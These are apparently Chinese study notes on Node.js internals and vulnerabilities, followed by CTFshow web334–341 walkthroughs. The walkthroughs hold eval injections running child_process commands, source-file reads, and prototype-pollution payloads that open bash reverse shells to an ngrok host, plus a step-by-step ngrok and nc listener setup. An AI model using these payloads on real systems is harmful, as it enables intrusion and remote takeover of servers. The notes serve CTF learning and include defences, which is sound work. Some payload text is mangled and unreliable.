一,基础知识
0,和我们之前学的php和apache配合的服务的区别

node.js
利用 V8 引擎,JavaScript 代码执行速度快、性能高
单线程和事件驱 动架构:Node.js 使用单线程来处理请求,但通过事件驱动和非阻塞 I/O 操作的特性,使其可以高效地处理大量并发连接,而不会阻塞线程。
异步和非阻塞 I/O:这使得 Node.js 能够处理高并发的请求,非常适合 I/O 密集型应用,如文件读取、数据库操作和网络请求。
node.js原来出现的原因是当时的前端何后端的联系较少,分离下难以协调,后端又是单请求单线程,当发生多个请求时,占用内存极大,node.js的出现人通过Node.js 是一个基于 Chrome V8 引擎构建的 JavaScript 运行时环境,它允许开发者使用 JavaScript 编写服务器端程序。它的核心特性包括 事件驱动(Event-driven) 和 非阻塞 I/O(Non-blocking I/O),这些特性使 Node.js 非常适合处理高并发、I/O 密集型的应用场景(如 Web 服务器、实时通信应用等)。下面分别解释这两个概念:
1. 事件驱动(Event-driven)
-
定义:Node.js 使用事件驱动模型来处理请求和响应。这意味着程序的执行流程是由事件(如用户请求、文件读取完成、数据库查询返回等)触发的,而不是按照固定的顺序执行。
-
机制:
-
Node.js 内部维护一个 事件循环(Event Loop)。
-
当某个异步操作(如读取文件)开始时,Node.js 不会等待它完成,而是注册一个回调函数(callback),并继续执行后续代码。
-
当异步操作完成后,系统会将对应的事件放入事件队列中。
-
事件循环会不断检查事件队列,并在主线程空闲时执行相应的回调函数。
-
-
优点:
-
提高了程序的响应速度和吞吐量。
-
能够高效地处理大量并发连接。
-
2. 非阻塞 I/O(Non-blocking I/O)
-
定义:在传统的阻塞 I/O 模型中,当程序发起一个 I/O 操作(如读取文件或网络请求)时,会一直等待该操作完成,期间不能执行其他任务。而非阻塞 I/O 则允许程序在等待 I/O 操作完成的同时,继续执行其他任务。
-
实现方式:
-
Node.js 的 I/O 操作(如文件系统操作、网络请求等)默认是非阻塞的。
-
通过回调函数、Promise 或 async/await 来处理异步操作的结果。
-
3,关于js的函数知识
http://js的基本语法
-
创建对象的方式 -
使用大括号{}去创建对象,访问对象中的值的话,通过对象名点属性名的方式 -
如果访问的键不存在,则返回undefined
-
对象的取值 -
对象不仅可以使用点的方式去访问 -
也可以使用中括号的方式,中括号里面可以写一个变量,写字符串也可以

(1)函数的继承和原型链(和python的继承类似)
(2)函数的闭包(在全局变量访问一个函数中的函数时,最内层的函数带有外部的变量,实现了从外部访问内部的变量

(3)函数的柯里化()在闭包的基础上实现

(4)函数的匿名





二,讲解node.js可能的漏洞
,主要的攻击类型有:
(1)dos攻击,因为是单线程处理,当出现一个非i/o请求时,一个永真语句时,可能会一直卡死
(2)原型链污染
1. "原型链污染"(Prototype Pollution)
是什么?
JavaScript 中所有对象都继承自 Object.prototype,而 __proto__ 是指向原型的引用。 原型链污染 = 攻击者通过可控输入(如 JSON 解析),向 Object.prototype 注入恶意属性,导致所有对象意外获得该属性,从而绕过逻辑判断或触发异常行为。
JavaScript 的"原型链" ≈ Python 的"类继承链"
但注意:JS 没有"类"(早期没有,ES6 的 class 只是语法糖),它用 对象 → 原型 → 原型的原型... 这种链条来实现属性查找,就像 Python 对象找属性时会沿着 类 → 父类 → 父父类... 找一样。
原理图解:
代码原文:
11 // 用户输入(恶意)
22 let input = '{"a": 1, "__proto__": {"isAdmin": true}}';
33
44 // 服务端代码(危险!)
55 let data = JSON.parse(input); // 不过滤 __proto__
66
77 console.log(data.isAdmin); // undefined
88 console.log({}.isAdmin); // true! → 所有空对象都"变管理员"
let:ES6 引入的变量声明关键字,作用域为块级(block-scoped),比var更安全。
json
1{
2 "a": 1,
3 "__proto__": {
4 "isAdmin": true
5 }
6}
写出来
{ "a": 1, "proto": { "isAdmin": true } }
java
1{
2 a: 1,
3 __proto__: { isAdmin: true }
4}

2. "node-serialize 反序列化"
是什么?
指使用第三方库 `node-serialize`(已废弃)进行对象序列化/反序列化时,因内部用 eval() 执行函数字符串导致的 RCE 漏洞。
原理:
- 序列化函数时,该库将其转为特殊格式:js 编
防御:
- 绝对不要用
node-serialize - 用
JSON.stringify+JSON.parse(但无法传函数) - 如需传函数,改用
Function.toString()+ 安全沙箱(如vm2)
关键口诀:
_$$ND_FUNC$$_= 你的 shellcode 入口
3. "vm 沙箱逃逸"(VM Sandbox Escape)
是什么?
Node.js 的 vm 模块可创建隔离的 JavaScript 执行环境(沙箱),但若配置不当,攻击者可通过原型链、构造器等手段跳出沙箱,访问全局对象(如 process),实现 RCE。
⚙️ 原理(经典逃逸路径):
js
1// 沙箱内代码(用户可控)
2this.constructor.constructor("return process")().mainModule.require('fs').readFileSync('/flag','utf8')
分解:
this→ 当前上下文对象(在沙箱中可能是{})this.constructor→ObjectObject.constructor→FunctionFunction("return process")()→ 动态创建函数并执行 → 返回process对象
进阶逃逸方式:
Buffer.constructor.from(...)→ 获取globalReflect.apply+Function.prototype.call绕过限制- 利用
new Function()的闭包作用域访问外部变量
防御:
- 使用
vm2(安全沙箱库,阻止原型链访问) - 禁用
constructor、__proto__、global等敏感属性 - 限制沙箱内可调用的模块(白名单)
关键口诀:沙箱不等于牢笼,
constructor.constructor是万能钥匙
4. "动态 require 路径遍历"(Dynamic require Path Traversal)
是什么?
服务端根据用户输入动态拼接路径,用 require() 加载模块,但未对输入做校验,导致攻击者通过 ../ 等路径穿越,加载任意文件(如 /flag),甚至执行恶意 JS。
原理:
1// 危险代码
2app.get('/load', (req, res) => {
3 const module = req.query.m;
4 const mod = require(module); // 用户控制 module
5 res.send(mod);
6});
攻击请求:
文本
1GET /load?m=../../flag
→ Node.js 尝试 require('/app/../../flag') → 实际读取 /flag 文件内容(作为 JS 模块解析,可能报错但泄露内容)
:高级技巧:
- 用
require('fs').readFileSync('/flag','utf8')直接读(如果允许require('fs')) - 构造
.js后缀绕过:page=../../../flag.js - 在 Windows 上用
..\\..\\flag
防御:
- 永远不要用用户输入拼接
require()/fs.readFile()路径 - 使用白名单:
['home', 'about', 'contact'] - 用
path.resolve(__dirname, userInput)并校验是否仍在预期目录内
关键口诀:
require(userInput)= 开放系统文件读取权限
四者对比总结表
表格
| 漏洞类型 | 根本原因 | 典型触发点 | 利用目标 | 是否需交互 |
|---|---|---|---|---|
| 原型链污染 | __proto__ 可写入 |
JSON.parse() |
绕过权限 / 修改行为 | ✅ 需发请求 |
| node-serialize 反序列化 | eval() 执行函数字符串 |
unserialize() |
RCE(读 flag) | ✅ 需 cookie/payload |
| vm 沙箱逃逸 | 沙箱未隔离构造器链 | vm.runInContext() |
获取 process / RCE |
✅ 需输入代码 |
| 动态 require 路径遍历 | 未过滤路径参数 | require(userInput) |
读敏感文件 | ✅ 需 URL 参数 |
三,CTFshow web入门nodejs
web334
user.js发现username: 'CTFSHOW', password: '123456'
源码在login.js,发现登录成功会拿到flag,即重点看登录部分
源码将字符大写,直接输入小写的内容即可
web 335

require('child_process').exec('ls')
cp.execSync('ls').toString() **cp是缩写


?eval=require('child_process').execSync('cat f*')
/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
匹配所有的f开头的文件
?eval=require("child_process").execSync("cat fl00g.txt", {encoding:"utf8"})
require('child_process').execSync('cat /文件路径', { encoding: 'utf8' })
eval(函数):

web 336
直接文件读取
/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')

1,?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
2,先尝试能不能直接读取原码
/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js').toString()
?eval=require('child_process')['exe'%2B'cSync']('ls').toString()
web 337
?a[]=1&b=1
和之前的php一样,这里md5的处理方式,可以识别数组,但是数组和对应的1不等于

web338











{"__proto__":{"ctfshow":"36dboy"}}
web339


由于 Node.js 默认不会自动暴露 require 给 Function 创建的函数,因此这里用process.mainModule.constructor._load 替代 require来包含child_process
这题的目标不是"读取输出",而是"建立外部控制会话",因此异步 exec 足以完成"执行命令"的动作,而且更贴合反连的使用场景:父进程不被阻塞,持续提供服务


第二步:配置 ngrok(只需一次)
打开终端(CMD / PowerShell / Terminal),进入 ngrok 所在目录
Linux / macOS:
1# 赋予执行权限(首次)
2chmod +x ngrok
3
4# 配置 authtoken(替换 YOUR_TOKEN 为你的实际 token)
5./ngrok config add-authtoken YOUR_TOKEN
Windows (CMD):
cmd
1ngrok.exe config add-authtoken YOUR_TOKEN
成功后会在用户目录生成配置文件(如
~/.ngrok2/ngrok.yml)
第三步:启动 TCP 隧道(用于反向 Shell)
关键:CTF 反弹 shell 用的是 TCP 协议,不是 HTTP!
命令格式:
bash
1./ngrok tcp 本地端口
示例(监听本地 8888 端口):
bash
1./ngrok tcp 8888
输出示例:
1Session Status online
2Account your_email (Plan: Free)
3Version 3.4.0
4Region United States (us)
5Web Interface http://127.0.0.1:4040
6Forwarding tcp://0.tcp.us.ngrok.io:12345 -> localhost:8888
记下这行:
tcp://0.tcp.us.ngrok.io:12345这就是你的 公网地址和端口!靶机会连这个地址。
第四步:启动 nc 监听本地端口
在另一个终端窗口运行:
bash
1nc -lvvp 8888
这个端口必须和
ngrok tcp 8888中的端口一致!
五步:构造 CTF Payload
将 payload 中的 IP 和端口 替换为 ngrok 提供的地址:
原始 payload(需修改):
bash
1bash -i >& /dev/tcp/你的公网IP/8888 0>&1
修改后(使用 ngrok):
bash
1bash -i >& /dev/tcp/0.tcp.us.ngrok.io/12345 0>&1
注意:域名和端口都要改!(不是只改 IP)
完整 curl 攻击命令示例:
bash
1curl -X POST "http://靶机地址/api" \
2 -H "Content-Type: application/x-www-form-urlencoded" \
3 -d '_proto_%5Bquery%5D=return%20global.process.mainModule.constructor._load%28%27child_process%29.exec%28%27bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F0.tcp.us.ngrok.io%2F12345%200%3E%261%5C%22%27%29'
第六步:坐等 shell 弹出!
-
保持
nc -lvvp 8888和ngrok tcp 8888运行 -
发送上述 curl 请求
-
几秒后,你的
nc终端会显示:文本1connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54321 2bash: cannot set terminal process group... 3root@target:/app#
发起tcp时需要一张信卡绑定
所以尝试http
{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/http/hankering-cannot-clambake.ngrok-free.dev 0>&1\"')"}}


post传:{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}
web 340
要求isAdmin为true才可以通过,但是isAdmin已经被赋值为false了,因此在这里没办法污染
继续分析,可以看到api.js跟上题一样,因此可以用上题的方法来污染query反弹shell
但是如果直接传入__proto__,再访问/api会发现行不通
{"proto":{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/自己ip/端口 0>&1\"')"}}}
web 341
{"proto":{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/靶机ip/端口 0>&1\"');var __tmp2"}}}